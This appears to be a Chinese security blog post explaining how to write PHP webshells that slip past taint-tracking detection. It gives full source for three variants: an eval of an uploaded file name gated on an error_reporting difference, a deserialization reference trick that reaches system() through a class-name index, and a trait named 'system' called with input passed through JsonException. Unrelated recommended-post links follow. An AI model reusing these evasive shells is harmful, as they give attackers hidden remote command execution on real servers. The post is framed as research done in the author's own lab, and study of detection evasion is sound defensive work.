PHP 绕过污点追踪构造 Webshell:反序列化引用复用与 Trait 可变函数 RCE

免责声明 本文全部实验操作均在本人完全可控的自建本地靶场环境完成,文章仅用于网络安全原理学习与技术研究。根据《中华人民共和国网络安全法》,未经授权对任何第三方系统进行探测、命令执行、文件写入等操作属于违法行为。

严禁复制、使用本文中的 Payload、代码应用到未获得授权的设备上。若读者将文中内容用于非法用途,一切法律责任由行为人本人承担,与本文作者无关。

个人水平有限,如有不足欢迎指正。


摘要: 本文围绕 PHP 代码执行与污点追踪展开,先分析 parse_url()error_reporting 配置差异以及上传文件名注入如何被用于构造 Webshell,再重点拆解两类绕过污点追踪的方式:一是通过反序列化对象引用复用,让污点赋值点与最终执行点分离;二是通过 Trait 名称可变函数配合 JsonException 等异常类的消息中转实现命令执行。

Array元素引用绕过污点追踪

parse_url()

PHP 内置函数:把一整条****URL 字符串,拆成各个组成部分,返回数组

复制代码
$url = "http://test.com/usr/abc?a=1&b=2#foot";
$arr = parse_url($url);
print_r($arr);
复制代码
<?php
$b = "111";
$c = "222";
if(get_cfg_var('error_reporting')>0){
    $b="#";
}
$a = array( "one"=>$c,"two"=>&$c );
$url = "http://a/usr/".$b."?a=1";
$d = parse_url($url);
if($d['query']){
    $c="echo 111;";
}else{
    $c=$_FILES['useraccount']['name'];
}
var_dump($a["two"]);
eval($a["two"]);
?>

get_cfg_var('error_reporting')

读取php.ini 配置文件 里 error_reporting 的配置值,获取 PHP 错误报告级别数字。在一般的waf,或者沙箱模式下,大部分是关闭的,所以最终waf检查的是打印111,从而放行,所以可能存在差异化,让waf认为这个污点无害,而服务器上却是打开的,所以服务器端最终能执行到eval

在 URL 里叫:片段标识符**/** 锚点 ,浏览器 / HTTP 协议规则: **#**以及 # 后面所有内容,只给浏览器本地用,不会发给服务器;

解析 URL 时, # 后面全部不算查询参数。 # 后面那一大串又叫fragment 片段

实现

c=_FILES'useraccount''name';的值是什么

复制代码
<?php
// 这里是PHP后端逻辑,放在最顶部
if($_SERVER['REQUEST_METHOD'] === 'POST'){
    echo "<pre>";
    $c = $_FILES['useraccount']['name'];
    var_dump($c);
    echo "</pre>";
}
?>
<!DOCTYPE html>
<html>
<body>
<!-- action="" 提交到当前自己这个php文件 -->
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="useraccount">
<button type="submit">提交上传</button>
</form>
</body>
</html>

是当前上传的文件名

于是将filename字段的值改为其他可执行代码即可

序列化 & 反序列化

什么是序列化(serialize ())

序列化:把 PHP 变量 / 对象, 转换成 PHP 自己定义的序列化格式字符串**,**方便存储、传输。

PHP中的数组、对象等数据结构在程序运行期间存在于内存中,无法直接保存到数据库、文件或网络传输,因此需要转换成可保存的数据格式,**serialize()**将内存数据打包成文本字符串

复制代码
<?php
$arr = ['name'=>'admin','age'=>18];
$str = serialize($arr);
echo $str;

输出:

复制代码
a:2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}

这里的 a、s、i 是 PHP 序列化格式中的类型标识符,后面的数字表示对应数据的信息。

  • a: = array 数组,2代表 2 个元素
  • s: = string 字符串,4字符串长度
  • i: = int 数字

标记就是用来记录:这是什么类型、长度多少、有几个元素,方便反序列化的时候还原。

反序列化 unserialize ()

反序列化:把序列化后的字符串,还原回内存中的 PHP 变量 / 对象。

复制代码
$str = 'a:2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}';
$arr = unserialize($str);
var_dump($arr);

字符串变回数组,回到内存。

形象比喻

  • 序列化:把家里家具(内存对象)拆成零件,打好包装(字符串),方便快递运输(存文件 / 数据库)。包装上面写标签(就是那些 a:2 s:4 序列号标记,记录零件类型、大小)。
  • 序列化类似于给家具制作一份结构说明书,把家具的类型、组成信息记录下来,转换成可以运输的数据格式。
  • 反序列化:收到快递包裹(字符串),看着标签,把零件重新组装回完整家具(内存对象)。

为什么要有这些标记(序列号)

如果没有标记,只存裸字符串 nameadminage18,反序列化的时候程序分不清:哪里是键、哪里是值、是数字还是字符串、数组有几个元素。

示例: s:4:"name"

s : string类型

4 :字符串长度

"name" :实际内容

反序列化函数靠这些数字标记,严格解析字符串,还原内存结构。

反序列化引用摆脱污点追踪

复制代码
unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}'); 

a :array 、 O : object s : string 、i : integer 、 r : 对象引用(reuse object reference)

结果

复制代码
array(2) {
  [0]=>
  object(stdClass)#1 (1) {
    ["a"]=>
    int(1)
  }
  [1]=>
  object(stdClass)#1 (1) {
    ["a"]=>
    int(1)
  }
}

a:2:{...} --- 表示一个包含 2****个元素 的数组。

i:0;O:8:"stdClass":1:{s:1:"a";i:1;}:数组第一个元素(索引 0)是一个 stdClass 对象。该对象有 1 个属性,属性名**"a",属性值 int(1)。**

i:1;r:2;:数组第二个元素(索引 1)是 r:2;。r 表示 引用( reference ,指向之前已经序列化的第 2 个变量(从 1 开始计数)。第 1 个变量是数组本身,第 2 个变量是索引 0 的那个 stdClass 对象。

因此,array\[1\] 是 array0引用 ,它们指向 同一个对象实例

webshell

复制代码
<?php 
$s= 
unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}'); 
$c = "123"; 
$arr= get_declared_classes(); 
$i=0; 
for($i;$i<count($arr);$i++){ 
$i++; 
$s[1]->a=$_GET['a']; 
if($i<97 || $i>=98){ 
continue; 
} 
$c=$s[0]->a; 
    print(substr(get_declared_classes()[112],4,6)($c)); 
}
?>

s\[1\]-\>a=_GET'a';如果检测引擎检测不到类的引用,那么只会追踪s\[1\]-\>a,**通过反序列化,将数组s0 s\[1\]两个元素绑定在一起**,而执行使用的是s0->a,于是绕过检测引擎追踪,构成差异化。

get_declared_classes :返回由已定义类的名字所组成的数组,

复制代码
<?php
  echo "<pre>";
  var_dump(get_declared_classes());

c=s0->a; :从数组 s 的第一个元素(索引0)所指向的对象中,获取其属性 a 的值,并赋值给变量 c。

而substr(get_declared_classes()112,4,6)截取的也就是system,后面跟着($c)

利用

Trait 名称字符串利用(可变函数 RCE)

自定义 trait,将 trait 名称设置为危险函数名,借助get_declared_traits()拿到 trait 名字符串,利用 PHP 可变函数特性实现命令执行。

trait system{}:自定义 trait,名字叫system

复制代码
<?php
trait system{
}
$a= new JsonException($_GET['a']);
$c = "123";
$arr= getmygid();
$i=0;
for($i;$i<$arr;$i++){
    $i++;
    if($i<115 || $i>=116){
        continue;
    }
    $c=$a->getMessage();
    print(get_declared_traits()[0]($c));
}

new JsonException(...)

new 用于创建一个对象JsonException 是 PHP 内置的异常类。

复制代码
new JsonException($_GET['a'])

使用 _GET\['a'\] 作为参数,创建一个 JsonException 对象。然后把创建出来的对象赋值给:a

所以最终:a保存的是一个 JsonException 对象,而不是 _GET'a' 原始字符串。

JsonException 本身继承自 Exception,它的构造函数可以接收异常消息:new JsonException("hello"),相当于创建一个异常对象,这个对象内部会保存:message = hello。

因此:a = new JsonException(_GET'a');可以简单理解为:

从用户输入获取 a 的值,并把这个值作为异常对象的 message ,创建一个 JsonException 对象。

复制代码
$c = $a->getMessage();

调用 $a 对象的 getMessage() 方法,获取这个异常对象中保存的 message(错误消息),然后赋值给 $c

PHP 全部预定义异常类(Exception、ErrorException、AssertionError等)均可实现该中转效果。构造函数第一个参数会保存到私有message,通过getMessage()读取;仅实例化不抛出异常,程序可继续执行,用来传递可控字符串。

相关推荐
石头猫灯1 小时前
WordPress wp2shell漏洞断点逐过程到注入点
android·学习
Android打工仔2 小时前
Kotlin 协程源码解析(五):BaseContinuationImpl.resumeWith() —— Continuation 链是如何被展开的?
android·kotlin
存在morning3 小时前
【PySpark 学习笔记 三】DataFrame API 入门
android·java·数据库
YSoup3 小时前
2026 安卓面试助手APP(安卓八股、题库)
android·面试·职场和发展
xcyxiner3 小时前
flutter 运行到模拟器上
android·前端·flutter
Android-Flutter4 小时前
android Glide 源码流程分析
android·kotlin
Android-Flutter4 小时前
android Glide 使用详解
android·kotlin
恋猫de小郭4 小时前
Dart 3.13 的到底改了什么?为什么很重要?有什么坑?
android·前端·flutter
HZZD_HZZD5 小时前
3T-UEM 数据建模实战:三维立方体 + LAM/ELA 双归因怎么落地?
android